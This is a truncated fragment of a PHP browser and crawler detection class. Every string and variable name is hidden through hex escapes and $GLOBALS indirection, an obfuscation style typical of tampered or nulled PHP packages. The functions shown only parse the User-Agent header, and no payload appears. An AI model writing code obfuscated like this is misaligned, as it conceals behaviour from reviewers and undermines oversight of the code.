__construct($userAgent=''){if(${${"\x47\x4c\x4fB\x41\x4c\x53"}["ol\x71\x66\x72\x67\x79qs\x79\x6d"]}!=""){$this->setUserAgent(${${"G\x4c\x4f\x42\x41\x4c\x53"}["o\x6c\x71fr\x67\x79\x71sym"]});}else{$this->reset();$this->determine();}}public function reset(){$this->_agent=isset($_SERVER["\x48\x54T\x50_\x55SE\x52_\x41G\x45\x4eT"])?$_SERVER["\x48T\x54P\x5fU\x53\x45\x52_A\x47\x45\x4eT"]:"";$this->_browser_name=self::BROWSER_UNKNOWN;$this->_version=self::VERSION_UNKNOWN;$this->_platform=self::PLATFORM_UNKNOWN;$this->_os=self::OPERATING_SYSTEM_UNKNOWN;$this->_is_aol=false;$this->_is_mobile=false;$this->_is_tablet=false;$this->_is_robot=false;$this->_is_facebook=false;$this->_aol_version=self::VERSION_UNKNOWN;}function isBrowser($browserName){return(0==strcasecmp($this->_browser_name,trim(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x74\x6f\x6dx\x69\x6f"]})));}public function getBrowser(){return$this->_browser_name;}public function setBrowser($browser){${"\x47\x4c\x4fBA\x4cS"}["\x65\x68\x66\x75\x61\x78\x70\x6b\x74f\x79"]="\x62\x72\x6f\x77s\x65r";$this->_browser_name=${${"GLOB\x41\x4c\x53"}["\x65\x68\x66\x75a\x78\x70\x6b\x74\x66\x79"]};}public function getPlatform(){return$this->_platform;}public function setPlatform($platform){$this->_platform=${${"\x47LO\x42\x41\x4cS"}["\x6c\x71\x71fj\x71\x65d"]};}public function getVersion(){return$this->_version;}public function setVersion($version){$this->_version=preg_replace("/[^\x30-9,.,a-\x7a,A-\x5a-]/","",${${"\x47\x4c\x4f\x42AL\x53"}["\x65d\x72\x78\x67\x6b\x6b\x62\x74\x64"]});}public function getAolVersion(){return$this->_aol_version;}public function setAolVersion($version){$this->_aol_version=preg_replace("/[^0-9,\x2e,a-\x7a,A-Z]/","",${${"\x47LO\x42\x41L\x53"}["\x65dr\x78\x67k\x6b\x62\x74\x64"]});}public function isAol(){return$this->_is_aol;}public function isMobile(){return$this->_is_mobile;}public function isTablet(){return$this->_is_tablet;}public function isRobot(){return$this->_is_robot;}public function isFacebook(){return$this->_is_facebook;}public function setAol($isAol){$dkqewqyseyu="isAo\x6c";$this->_is_aol=${$dkqewqyseyu};}protected function setMobile($value=true){${"\x47\x4c\x4f\x42A\x4cS"}["pnz\x74\x72\x74\x62\x65"]="\x76\x61l\x75\x65";$this->_is_mobile=${${"\x47\x4c\x4fBAL\x53"}["p\x6e\x7a\x74r\x74b\x65"]};}protected function setTablet($value=true){$this->_is_tablet=${${"\x47L\x4f\x42AL\x53"}["s\x69\x68xx\x78n"]};}protected function setRobot($value=true){$this->_is_robot=${${"GL\x4f\x42A\x4cS"}["\x73\x69\x68\x78xxn"]};}protected function setFacebook($value=true){$this->_is_facebook=${${"\x47\x4c\x4f\x42AL\x53"}["sih\x78\x78x\x6e"]};}public function getUserAgent(){return$this->_agent;}public function setUserAgent($agent_string){$this->reset();$this->_agent=${${"\x47\x4c\x4f\x42\x41LS"}["\x75\x74\x75x\x7a\x67\x79\x71"]};$this->determine();}public function isChromeFrame(){return(strpos($this->_agent,"\x63\x68\x72\x6f\x6deframe")!==false);}public function __toString(){return"<st\x72\x6fn\x67>Br\x6fw\x73er \x4eam\x65:\x3c/\x73\x74rong\x3e\x20{$this->getBrowser()}<b\x72/>\n"."\x3cst\x72\x6f\x6e\x67\x3e\x42\x72o\x77\x73er V\x65\x72s\x69on:\x3c/\x73t\x72\x6f\x6e\x67\x3e\x20{$this->getVersion()}\x3cbr/\x3e\n"."<s\x74\x72\x6fn\x67>\x42\x72\x6f\x77\x73\x65r\x20\x55\x73e\x72\x20A\x67e\x6e\x74 S\x74\x72in\x67:\x3c/stron\x67\x3e {$this->getUserAgent()}<\x62\x72/>\n"."\x3c\x73\x74\x72o\x6eg>\x50l\x61tf\x6f\x72m:\x3c/st\x72\x6fn\x67\x3e\x20{$this->getPlatform()}\x3cbr/>";}protected function determine(){$this->checkPlatform();$this->checkBrowsers();$this->checkForAol();}protected function checkBrowsers(){return($this->checkBrowserWebTv()||$this->checkBrowserEdge()||$this->checkBrowserInternetExplorer()||$this->checkBrowserOpera()||$this->checkBrowserGaleon()||$this->checkBrowserNetscapeNavigator9Plus()||$this->checkBrowserVivaldi()||$this->checkBrowserYandex()||$this->checkBrowserFirefox()||$this->checkBrowserChrome()||$this->checkBrowserOmniWeb()||$this->checkBrowserAndroid()||$this->checkBrowseriPad()||$this->checkBrowseriPod()||$this->checkBrowseriPhone()||$this->checkBrowserBlackBerry()||$this->checkBrowserNokia()||$this->checkBrowserGoogleBot()||$this->checkBrowserMSNBot()||$this->checkBrowserBingBot()||$this->checkBrowserSlurp()||$this->checkBrowserYandexBot()||$this->checkBrowserYandexImageResizerBot()||$this->checkBrowserYandexBlogsBot()||$this->checkBrowserYandexCatalogBot()||$this->checkBrowserYandexDirectBot()||$this->checkBrowserYandexFaviconsBot()||$this->checkBrowserYandexImagesBot()||$this->checkBrowserYandexMediaBot()||$this->checkBrowserYandexMetrikaBot()||$this->checkBrowserYandexNewsBot()||$this->checkBrowserYandexVideoBot()||$this->checkBrowserYandexWebmasterBot()||$this->checkFacebookExternalHit()||$this->checkBrowserSamsung()||$this->checkBrowserSilk()||$this->checkBrowserSafari()||$this->checkBrowserNetPositive()||$this->checkBrowserFirebird()||$this->checkBrowserKonqueror()||$this->checkBrowserIcab()||$this->checkBrowserPhoenix()||$this->checkBrowserAmaya()||$this->checkBrowserLynx()||$this->checkBrowserShiretoko()||$this->checkBrowserIceCat()||$this->checkBrowserIceweasel()||$this->checkBrowserW3CValidator()||$this->checkBrowserPlayStation()||$this->checkBrowserIframely()||$this->checkBrowserCocoa()||$this->checkBrowserMozilla());}protected function checkBrowserBlackBerry(){if(stripos($this->_agent,"\x62\x6cac\x6b\x62\x65\x72\x72y")!==false){$ahaomuwsno="are\x73\x75\x6c\x74";${$ahaomuwsno}=explode("/",stristr($this->_agent,"\x42\x6cack\x42e\x72ry"));if(isset(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x70l\x63\x6en\x79\x66\x77"]}[1])){$gbmvmerts="\x61v\x65\x72\x73i\x6f\x6e";${"\x47LOB\x41\x4c\x53"}["\x6dd\x65\x63\x6cp"]="a\x76\x65rsi\x6fn";${$gbmvmerts}=explode("\x20",${${"\x47\x4c\x4fB\x41\x4c\x53"}["p\x6ccnn\x79f\x77"]}[1]);$this->setVersion(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6dd\x65\x63\x6c\x70"]}[0]);$this->_browser_name=self::BROWSER_BLACKBERRY;$this->setMobile(true);return true;}}return false;}protected function checkForAol(){$this->setAol(false);$this->setAolVersion(self::VERSION_UNKNOWN);if(stripos($this->_agent,"aol")!==false){$bmzrej="\x61versi\x6f\x6e";${${"\x47L\x4fBA\x4c\x53"}["\x70\x65\x62\x65\x74c\x74\x78k"]}=explode(" ",stristr($this->_agent,"\x41OL"));if(isset(${$bmzrej}[1])){${"\x47\x4cOB\x41LS"}["\x65\x6eoo\x67\x6a\x63\x71p\x70m"]="\x61\x76\x65r\x73\x69o\x6e";$this->setAol(true);$this->setAolVersion(preg_replace("/[^0-9\x5c.\x61-\x7a]/i","",${${"\x47\x4c\x4f\x42A\x4cS"}["\x65\x6e\x6f\x6f\x67j\x63\x71p\x70m"]}[1]));return true;}}return false;}protected function checkBrowserGoogleBot(){if(stripos($this->_agent,"goo\x67le\x62\x6ft")!==false){$xyubeju="\x61\x72\x65s\x75\x6c\x74";${$xyubeju}=explode("/",stristr($this->_agent,"goo\x67\x6ce\x62\x6ft"));if(isset(${${"\x47L\x4f\x42\x41\x4cS"}["\x70\x6c\x63n\x6ey\x66w"]}[1])){$pckiqv="\x61\x76\x65rs\x69\x6f\x6e";${"GL\x4f\x42A\x4cS"}["p\x7a\x72w\x66\x65\x77\x62z\x65"]="\x61\x76\x65rs\x69\x6f\x6e";${${"\x47\x4c\x4f\x42\x41L\x53"}["pz\x72\x77\x66\x65\x77\x62\x7ae"]}=explode(" ",${${"G\x4cOBALS"}["\x70lcn\x6e\x79f\x77"]}[1]);$this->setVersion(str_replace("\x3b","",${$pckiqv}[0]));$this->_browser_name=self::BROWSER_GOOGLEBOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexBot(){if(stripos($this->_agent,"\x59\x61\x6ede\x78\x42\x6f\x74")!==false){${${"\x47\x4cOB\x41\x4c\x53"}["\x70l\x63\x6e\x6e\x79\x66\x77"]}=explode("/",stristr($this->_agent,"\x59a\x6ed\x65\x78\x42o\x74"));if(isset(${${"G\x4c\x4fB\x41\x4c\x53"}["\x70l\x63\x6e\x6e\x79f\x77"]}[1])){$ddhlgixpff="\x61ver\x73\x69o\x6e";$uodnkdfo="a\x72es\x75\x6c\x74";${"\x47L\x4f\x42A\x4c\x53"}["ylqslc"]="\x61v\x65r\x73i\x6f\x6e";${$ddhlgixpff}=explode("\x20",${$uodnkdfo}[1]);$this->setVersion(str_replace("\x3b","",${${"GL\x4f\x42\x41\x4c\x53"}["\x79\x6cq\x73\x6c\x63"]}[0]));$this->_browser_name=self::BROWSER_YANDEXBOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexImageResizerBot(){if(stripos($this->_agent,"Ya\x6e\x64exI\x6d\x61ge\x52\x65\x73\x69\x7a\x65\x72")!==false){${${"G\x4cOB\x41\x4c\x53"}["\x70lcn\x6e\x79f\x77"]}=explode("/",stristr($this->_agent,"\x59\x61n\x64e\x78Im\x61g\x65\x52esi\x7a\x65\x72"));if(isset(${${"\x47\x4cO\x42A\x4c\x53"}["p\x6c\x63\x6e\x6e\x79\x66w"]}[1])){${"GLO\x42\x41\x4c\x53"}["e\x71le\x68u\x61c\x75jo"]="a\x76er\x73i\x6f\x6e";${"GL\x4f\x42\x41\x4c\x53"}["\x63\x64w\x79a\x76c"]="\x61v\x65\x72\x73\x69\x6fn";$xwuustxwdk="a\x72es\x75\x6c\x74";${${"\x47\x4cO\x42\x41\x4cS"}["\x65\x71\x6ce\x68\x75\x61c\x75\x6a\x6f"]}=explode("\x20",${$xwuustxwdk}[1]);$this->setVersion(str_replace(";","",${${"G\x4cOB\x41\x4c\x53"}["cdw\x79a\x76c"]}[0]));$this->_browser_name=self::BROWSER_YANDEXIMAGERESIZER_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexCatalogBot(){if(stripos($this->_agent,"\x59\x61nd\x65x\x43at\x61l\x6f\x67")!==false){${"\x47\x4cOB\x41\x4c\x53"}["\x78\x70\x77\x63j\x62\x75\x67"]="a\x72e\x73u\x6c\x74";$diibmy="\x61\x72e\x73\x75\x6c\x74";${${"\x47LOBA\x4c\x53"}["\x78p\x77\x63\x6ab\x75\x67"]}=explode("/",stristr($this->_agent,"Ya\x6ede\x78C\x61\x74\x61\x6c\x6f\x67"));if(isset(${$diibmy}[1])){${"G\x4c\x4f\x42\x41\x4cS"}["\x6b\x78\x70\x79\x6ep\x6e"]="\x61ve\x72\x73\x69on";${${"\x47\x4c\x4fB\x41\x4cS"}["\x70\x65b\x65\x74\x63\x74xk"]}=explode("\x20",${${"G\x4c\x4f\x42\x41\x4c\x53"}["p\x6c\x63nny\x66\x77"]}[1]);$this->setVersion(str_replace("\x3b","",${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6bxp\x79\x6e\x70\x6e"]}[0]));$this->_browser_name=self::BROWSER_YANDEXCATALOG_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexNewsBot(){if(stripos($this->_agent,"\x59andex\x4ee\x77\x73")!==false){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x68d\x68\x76\x74npz\x67"]="\x61\x72\x65s\x75l\x74";${${"\x47\x4c\x4fBA\x4cS"}["hd\x68\x76t\x6e\x70\x7a\x67"]}=explode("/",stristr($this->_agent,"Yan\x64\x65x\x4eews"));if(isset(${${"\x47\x4cO\x42\x41L\x53"}["plcn\x6e\x79\x66\x77"]}[1])){${"G\x4c\x4f\x42\x41\x4c\x53"}["g\x65i\x62\x68\x6e\x6a"]="a\x72\x65s\x75l\x74";${${"\x47\x4cO\x42\x41\x4c\x53"}["pe\x62\x65t\x63\x74\x78\x6b"]}=explode(" ",${${"\x47\x4cO\x42AL\x53"}["g\x65ib\x68\x6e\x6a"]}[1]);$this->setVersion(str_replace(";","",${${"\x47\x4c\x4fBA\x4cS"}["\x70\x65\x62e\x74\x63\x74\x78\x6b"]}[0]));$this->_browser_name=self::BROWSER_YANDEXNEWS_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexMetrikaBot(){if(stripos($this->_agent,"Yan\x64exMe\x74r\x69ka")!==false){${${"\x47\x4cO\x42A\x4c\x53"}["pl\x63\x6e\x6e\x79\x66\x77"]}=explode("/",stristr($this->_agent,"\x59\x61ndex\x4detr\x69\x6ba"));if(isset(${${"G\x4c\x4fBA\x4c\x53"}["p\x6ccnny\x66\x77"]}[1])){$kmscfhwsp="\x61re\x73\x75\x6ct";${${"\x47\x4cO\x42\x41L\x53"}["\x70\x65\x62et\x63\x74\x78\x6b"]}=explode("\x20",${$kmscfhwsp}[1]);$this->setVersion(str_replace("\x3b","",${${"GLO\x42\x41\x4cS"}["p\x65\x62\x65t\x63t\x78k"]}[0]));$this->_browser_name=self::BROWSER_YANDEXMETRIKA_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexDirectBot(){if(stripos($this->_agent,"\x59\x61\x6ed\x65xDi\x72ec\x74")!==false){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x73\x65\x71g\x67\x67"]="\x61\x72\x65\x73ul\x74";${${"\x47LO\x42\x41\x4c\x53"}["\x73\x65\x71\x67\x67\x67"]}=explode("/",stristr($this->_agent,"Ya\x6ed\x65\x78\x44\x69rec\x74"));if(isset(${${"\x47LO\x42A\x4c\x53"}["p\x6c\x63\x6eny\x66\x77"]}[1])){$dwbgippgawos="\x61\x72\x65\x73ul\x74";${${"G\x4c\x4f\x42\x41\x4cS"}["\x70e\x62\x65\x74\x63tx\x6b"]}=explode(" ",${$dwbgippgawos}[1]);$this->setVersion(str_replace("\x3b","",${${"\x47L\x4fB\x41L\x53"}["\x70\x65\x62e\x74c\x74\x78k"]}[0]));$this->_browser_name=self::BROWSER_YANDEXDIRECT_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexWebmasterBot(){if(stripos($this->_agent,"Ya\x6ed\x65\x78Webma\x73t\x65r")!==false){${${"G\x4cOB\x41L\x53"}["\x70l\x63nn\x79\x66w"]}=explode("/",stristr($this->_agent,"Yan\x64\x65\x78\x57e\x62ma\x73\x74\x65r"));if(isset(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x70\x6c\x63\x6e\x6e\x79\x66w"]}[1])){${${"G\x4cOB\x41L\x53"}["\x70\x65\x62\x65t\x63t\x78k"]}=explode("\x20",${${"G\x4cOB\x41\x4c\x53"}["\x70\x6cc\x6e\x6eyf\x77"]}[1]);${"G\x4c\x4fB\x41L\x53"}["w\x6a\x77\x6e\x69\x6d\x68\x71\x69\x75mc"]="\x61\x76\x65\x72\x73io\x6e";$this->setVersion(str_replace("\x3b","",${${"GL\x4fB\x41\x4c\x53"}["w\x6a\x77ni\x6dhq\x69\x75\x6d\x63"]}[0]));$this->_browser_name=self::BROWSER_YANDEXWEBMASTER_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexFaviconsBot(){if(stripos($this->_agent,"\x59\x61nd\x65x\x46\x61\x76i\x63\x6f\x6es")!==false){${${"\x47\x4c\x4f\x42AL\x53"}["\x70\x6ccn\x6e\x79fw"]}=explode("/",stristr($this->_agent,"Yandex\x46av\x69c\x6f\x6es"));if(isset(${${"GL\x4fB\x41\x4c\x53"}["\x70l\x63\x6eny\x66w"]}[1])){$gnlsbowcq="\x61\x76e\x72\x73i\x6fn";${$gnlsbowcq}=explode("\x20",${${"GL\x4f\x42\x41\x4c\x53"}["p\x6c\x63nn\x79\x66\x77"]}[1]);$this->setVersion(str_replace("\x3b","",${${"\x47L\x4f\x42\x41\x4c\x53"}["p\x65be\x74ct\x78k"]}[0]));$this->_browser_name=self::BROWSER_YANDEXFAVICONS_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexBlogsBot(){if(stripos($this->_agent,"\x59an\x64\x65xBlogs")!==false){${"\x47\x4cOB\x41\x4c\x53"}["\x62\x6bx\x69\x6ck\x76\x72c"]="a\x72\x65sult";${${"GL\x4f\x42\x41\x4cS"}["\x70\x6c\x63nn\x79\x66w"]}=explode("/",stristr($this->_agent,"\x59\x61\x6e\x64\x65\x78Bl\x6fg\x73"));if(isset(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x62\x6b\x78\x69\x6ckv\x72\x63"]}[1])){${${"\x47\x4cO\x42\x41\x4c\x53"}["\x70\x65\x62\x65\x74c\x74x\x6b"]}=explode("\x20",${${"\x47\x4c\x4f\x42A\x4cS"}["p\x6cc\x6e\x6e\x79f\x77"]}[1]);${"G\x4cO\x42\x41\x4cS"}["d\x79p\x77\x7a\x6am\x77\x67"]="\x61\x76\x65\x72\x73\x69o\x6e";$this->setVersion(str_replace(";","",${${"\x47LO\x42A\x4c\x53"}["\x64\x79p\x77zj\x6d\x77g"]}[0]));$this->_browser_name=self::BROWSER_YANDEXBLOGS_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexMediaBot(){if(stripos($this->_agent,"\x59a\x6ed\x65x\x4de\x64\x69\x61")!==false){${"\x47\x4cOBA\x4c\x53"}["\x69\x71vu\x6cc\x6e\x74tn"]="\x61\x72\x65\x73\x75\x6c\x74";$cdbfyjej="\x61\x72esul\x74";${$cdbfyjej}=explode("/",stristr($this->_agent,"Y\x61n\x64exM\x65\x64\x69a"));if(isset(${${"\x47\x4c\x4fB\x41\x4cS"}["\x69q\x76u\x6cc\x6e\x74\x74\x6e"]}[1])){${${"G\x4cOB\x41LS"}["\x70e\x62\x65\x74\x63\x74xk"]}=explode(" ",${${"G\x4c\x4f\x42\x41L\x53"}["\x70\x6ccnn\x79\x66w"]}[1]);$this->setVersion(str_replace(";","",${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["p\x65\x62\x65\x74\x63\x74\x78\x6b"]}[0]));$this->_browser_name=self::BROWSER_YANDEXMEDIA_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexVideoBot(){if(stripos($this->_agent,"\x59\x61n\x64\x65\x78\x56\x69\x64eo")!==false){$qmtppnw="a\x72es\x75\x6c\x74";${$qmtppnw}=explode("/",stristr($this->_agent,"\x59an\x64e\x78\x56\x69\x64e\x6f"));if(isset(${${"\x47\x4c\x4fBA\x4cS"}["plc\x6e\x6e\x79\x66\x77"]}[1])){${${"\x47\x4c\x4f\x42\x41L\x53"}["\x70eb\x65t\x63t\x78\x6b"]}=explode(" ",${${"GL\x4fBAL\x53"}["\x70\x6ccn\x6e\x79\x66w"]}[1]);$pbljzbuto="\x61v\x65\x72\x73\x69on";$this->setVersion(str_replace("\x3b","",${$pbljzbuto}[0]));$this->_browser_name=self::BROWSER_YANDEXVIDEO_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserYandexImagesBot(){if(stripos($this->_agent,"Yan\x64\x65\x78\x49\x6da\x67\x65\x73")!==false){$gdygopfluiz="\x61\x72e\x73\x75\x6ct";$tknypoto="\x61\x72\x65s\x75lt";${$tknypoto}=explode("/",stristr($this->_agent,"Yand\x65\x78\x49m\x61g\x65s"));if(isset(${$gdygopfluiz}[1])){${"\x47LO\x42\x41L\x53"}["\x79\x76\x79\x65\x64\x74\x64"]="\x61\x72e\x73\x75\x6ct";${${"\x47\x4cO\x42\x41\x4cS"}["\x70\x65b\x65tct\x78k"]}=explode("\x20",${${"\x47\x4cO\x42AL\x53"}["y\x76\x79\x65\x64\x74\x64"]}[1]);$this->setVersion(str_replace("\x3b","",${${"\x47\x4c\x4fBAL\x53"}["pe\x62\x65t\x63\x74\x78\x6b"]}[0]));$this->_browser_name=self::BROWSER_YANDEXIMAGES_BOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserMSNBot(){if(stripos($this->_agent,"m\x73n\x62o\x74")!==false){${"\x47\x4c\x4fBAL\x53"}["\x6a\x77\x62\x77\x79\x6a\x61f\x65d"]="\x61\x72esul\x74";${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x70\x6c\x63nny\x66\x77"]}=explode("/",stristr($this->_agent,"msn\x62o\x74"));if(isset(${${"\x47\x4cO\x42\x41\x4cS"}["\x6a\x77\x62\x77\x79\x6a\x61f\x65\x64"]}[1])){$nippnsd="\x61\x76\x65rsi\x6f\x6e";${"GLO\x42A\x4c\x53"}["\x68lu\x70\x67\x77e\x73"]="\x61\x76\x65\x72si\x6f\x6e";${${"\x47\x4c\x4f\x42\x41L\x53"}["h\x6cu\x70gw\x65s"]}=explode("\x20",${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["pl\x63n\x6ey\x66\x77"]}[1]);$this->setVersion(str_replace(";","",${$nippnsd}[0]));$this->_browser_name=self::BROWSER_MSNBOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserBingBot(){if(stripos($this->_agent,"b\x69\x6eg\x62ot")!==false){$etemfbvdrh="\x61r\x65s\x75\x6ct";${$etemfbvdrh}=explode("/",stristr($this->_agent,"bin\x67b\x6ft"));if(isset(${${"\x47\x4c\x4f\x42\x41LS"}["p\x6c\x63n\x6e\x79f\x77"]}[1])){$kmxdspyu="\x61\x76\x65r\x73\x69\x6f\x6e";$vsdumkwmghv="ar\x65s\x75\x6c\x74";${$kmxdspyu}=explode("\x20",${$vsdumkwmghv}[1]);$this->setVersion(str_replace(";","",${${"GL\x4f\x42A\x4cS"}["pe\x62e\x74\x63\x74\x78\x6b"]}[0]));$this->_browser_name=self::BROWSER_BINGBOT;$this->setRobot(true);return true;}}return false;}protected function checkBrowserW3CValidator(){if(stripos($this->_agent,"W3\x43-c\x68ec\x6bli\x6ek")!==false){${${"G\x4cO\x42\x41L\x53"}["\x70l\x63\x6eny\x66\x77"]}=explode("/",stristr($this->_agent,"W\x33C-ch\x65\x63\x6b\x6c\x69n\x6b"));${"\x47\x4cO\x42\x41\x4c\x53"}["w\x63\x74i\x77\x69r\x76\x6f\x62n"]="\x61\x72\x65\x73\x75\x6ct";if(isset(${${"G\x4cO\x42\x41L\x53"}["wc\x74iw\x69\x72\x76\x6f\x62\x6e"]}[1])){$wrrztonpsis="a\x72\x65\x73ul\x74";${${"GLO\x42\x41\x4c\x53"}["\x70\x65\x62\x65tc\x74\x78\x6b"]}=explode(" ",${$wrrztonpsis}[1]);$this->setVersion(${${"G\x4c\x4f\x42\x41LS"}["\x70\x65\x62\x65\x74c\x74\x78k"]}[0]);$this->_browser_name=self::BROWSER_W3CVALIDATOR;return true;}}else if(stripos($this->_agent,"W\x33C\x5f\x56a\x6ci\x64\x61to\x72")!==false){$hlcyvoirjnsv="u\x61";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x63\x63\x6ai\x6e\x62\x7a\x6f\x6ayt\x77"]="\x61r\x65\x73ul\x74";${"G\x4c\x4f\x42A\x4c\x53"}["\x77bitjn\x6f\x65"]="\x75\x61";${$hlcyvoirjnsv}=str_replace("W\x33C_V\x61li\x64at\x6f\x72 ","\x573C_\x56a\x6c\x69d\x61\x74\x6f\x72/",$this->_agent);${${"\x47\x4c\x4f\x42A\x4cS"}["\x63cj\x69\x6e\x62z\x6f\x6a\x79t\x77"]}=explode("/",stristr(${${"\x47L\x4f\x42\x41\x4cS"}["wb\x69\x74\x6a\x6e\x6fe"]},"W\x33\x43_\x56a\x6cid\x61to\x72"));if(isset(${${"GLO\x42AL\x53"}["\x70\x6c\x63\x6e\x6ey\x66\x77"]}[1])){${"\x47\x4c\x4f\x42\x41\x4cS"}["s\x79\x6e\x74\x78c\x6bvq\x69\x79"]="\x61\x72\x65\x73\x75l\x74";${${"\x47\x4cO\x42A\x4cS"}["\x70\x65be\x74\x63\x74x\x6b"]}=explode("\x20",${${"\x47\x4c\x4fB\x41\x4cS"}["s\x79\x6etx\x63\x6bvq\x69y"]}[1]);$this->setVersion(${${"G\x4c\x4f\x42\x41LS"}["\x70\x65\x62\x65\x74c\x74x\x6b"]}[0]);$this->_browser_name=self::BROWSER_W3CVALIDATOR;return true;}}else if(stripos($this->_agent,"\x57\x33C-\x6d\x6f\x62\x69leOK")!==false){$this->_browser_name=self::BROWSER_W3CVALIDATOR;$this->setMobile(true);return true;}return false;}protected function checkBrowserSlurp(){if(stripos($this->_agent,"\x73\x6c\x75r\x70")!==false){$exrvcnsabfq="a\x72\x65s\x75\x6ct";${${"\x47L\x4f\x42\x41\x4c\x53"}["p\x6c\x63\x6e\x6ey\x66\x77"]}=explode("/",stristr($this->_agent,"\x53\x6c\x75\x72p"));if(isset(${$exrvcnsabfq}[1])){$oxrreclel="are\x73\x75lt";$urflfry="\x61\x76er\x73\x69\x6f\x6e";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x70\x65\x62\x65\x74\x63\x74\x78\x6b"]}=explode("\x20",${$oxrreclel}[1]);$this->setVersion(${$urflfry}[0]);$this->_browser_name=self::BROWSER_SLURP;$this->setRobot(true);$this->setMobile(false);return true;}}return false;}protected function checkBrowserEdge(){if(stripos($this->_agent,"\x45\x64\x67\x65/")!==false){${"G\x4c\x4f\x42\x41\x4cS"}["\x72\x6bn\x76\x66hi\x63\x65\x74r\x72"]="\x61r\x65\x73\x75\x6c\x74";${${"\x47\x4cO\x42A\x4c\x53"}["\x70\x6cc\x6e\x6e\x79f\x77"]}=explode("/",stristr($this->_agent,"E\x64g\x65"));if(isset(${${"\x47L\x4f\x42\x41LS"}["r\x6bn\x76\x66\x68\x69cetr\x72"]}[1])){${"\x47LOB\x41\x4cS"}["b\x68k\x62y\x62k\x73\x63\x6a"]="\x61\x76ers\x69\x6f\x6e";${${"\x47LO\x42A\x4cS"}["\x70\x65\x62e\x74\x63t\x78k"]}=explode(" ",${${"\x47LOB\x41\x4c\x53"}["\x70\x6c\x63n\x6ey\x66\x77"]}[1]);$this->setVersion(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x62hk\x62\x79bk\x73c\x6a"]}[0]);$this->setBrowser(self::BROWSER_EDGE);if(stripos($this->_agent,"\x57\x69n\x64ows \x50hone")!==false||stripos($this->_agent,"An\x64\x72oid")!==false){$this->setMobile(true);}return true;}}return false;}protected function checkBrowserInternetExplorer(){if(stripos($this->_agent,"\x54r\x69\x64ent/\x37\x2e0\x3b\x20rv:\x311.0")!==false){$this->setBrowser(self::BROWSER_IE);$this->setVersion("11.0");return true;}else if(stripos($this->_agent,"\x6di\x63\x72os\x6f\x66\x74 \x69\x6et\x65\x72n\x65t ex\x70lo\x72\x65r")!==false){$this->setBrowser(self::BROWSER_IE);${"G\x4c\x4f\x42A\x4c\x53"}["ej\x6cy\x6dvy\x72\x77e\x6c"]="a\x72\x65\x73\x75lt";$this->setVersion("\x31\x2e\x30");${${"GLO\x42\x41\x4c\x53"}["\x70\x6cc\x6e\x6e\x79\x66\x77"]}=stristr($this->_agent,"/");if(preg_match("/\x33\x30\x38|\x34\x32\x35|4\x326|474|\x30\x62\x31/\x69",${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x65\x6a\x6cy\x6d\x76yrw\x65\x6c"]})){$this->setVersion("\x31\x2e5");}return true;}else if(stripos($this->_agent,"m\x73\x69\x65")!==false&&stripos($this->_agent,"\x6f\x70e\x72\x61")===false){$ofkiphif="\x61\x72\x65\x73u\x6ct";if(stripos($this->_agent,"\x6d\x73\x6eb")!==false){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x67\x61\x67q\x64\x68\x6ff\x78"]="\x61\x72\x65\x73u\x6ct";$biredjxbg="a\x72e\x73u\x6c\x74";${$biredjxbg}=explode("\x20",stristr(str_replace(";",";\x20",$this->_agent),"MS\x4e"));if(isset(${${"\x47LO\x42\x41\x4cS"}["\x67a\x67\x71d\x68\x6ff\x78"]}[1])){$kcmwschn="\x61\x72\x65s\x75l\x74";$this->setBrowser(self::BROWSER_MSN);$this->setVersion(str_replace(array("(",")","\x3b"),"",${$kcmwschn}[1]));return true;}}${$ofkiphif}=explode(" ",stristr(str_replace("\x3b","\x3b\x20",$this->_agent),"ms\x69e"));if(isset(${${"\x47\x4c\x4fBA\x4c\x53"}["\x70\x6cc\x6e\x6e\x79\x66\x77"]}[1])){${"\x47LOBA\x4c\x53"}["\x6aq\x68rgj"]="\x61r\x65\x73\x75l\x74";$this->setBrowser(self::BROWSER_IE);${"\x47LOBA\x4c\x53"}["\x6bl\x73\x69x\x71z\x78h\x75\x70"]="ar\x65\x73\x75\x6c\x74";$this->setVersion(str_replace(array("(",")",";"),"",${${"\x47\x4c\x4fBA\x4cS"}["jq\x68\x72\x67j"]}[1]));if(preg_match("#t\x72\x69den\x74/([\x30-9\\\x2e]+)\x3b\x23\x69",$this->_agent,${${"G\x4c\x4f\x42\x41\x4cS"}["\x6bl\x73\x69\x78qz\x78\x68\x75\x70"]})){$bgzprpjhjduh="a\x72\x65\x73\x75\x6ct";$pgelmdos="a\x72e\x73\x75\x6ct";$lknjrpjhwqvc="\x61\x72\x65\x73u\x6c\x74";if(${$lknjrpjhwqvc}[1]=="3\x2e\x31"){$this->setVersion("7\x2e\x30");}else if(${$bgzprpjhjduh}[1]=="\x34\x2e\x30"){$this->setVersion("\x38\x2e\x30");}else if(${$pgelmdos}[1]=="5\x2e\x30"){$this->setVersion("9.\x30");}else 